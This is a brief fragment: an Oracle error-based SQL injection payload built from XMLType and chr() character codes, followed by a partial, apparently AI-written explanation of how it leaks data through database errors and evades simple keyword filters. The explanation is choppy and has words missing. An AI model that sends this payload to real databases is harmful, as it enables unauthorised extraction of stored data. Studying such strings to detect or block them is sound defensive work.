From Dual): {keyword} And 6957=(select Upper(xmltype(chr(60)||chr(58)||chr(113)||chr(98)||chr(113)||chr(118)||chr(113)||(select (case When (6957=6957) Then 1 Else 0 End) From Dual)||chr(113)||chr(113)||chr(98)||chr(113)||chr(113)||chr(62)))

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It looks like you are working with a string designed for , specifically targeting Oracle databases. This particular syntax uses the XMLType function to trigger an error or exfiltrate data via an out-of-band or error-based channel.

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: These are ASCII codes for characters like < , : , and q . They are used to bypass simple text filters that look for "script" or "select."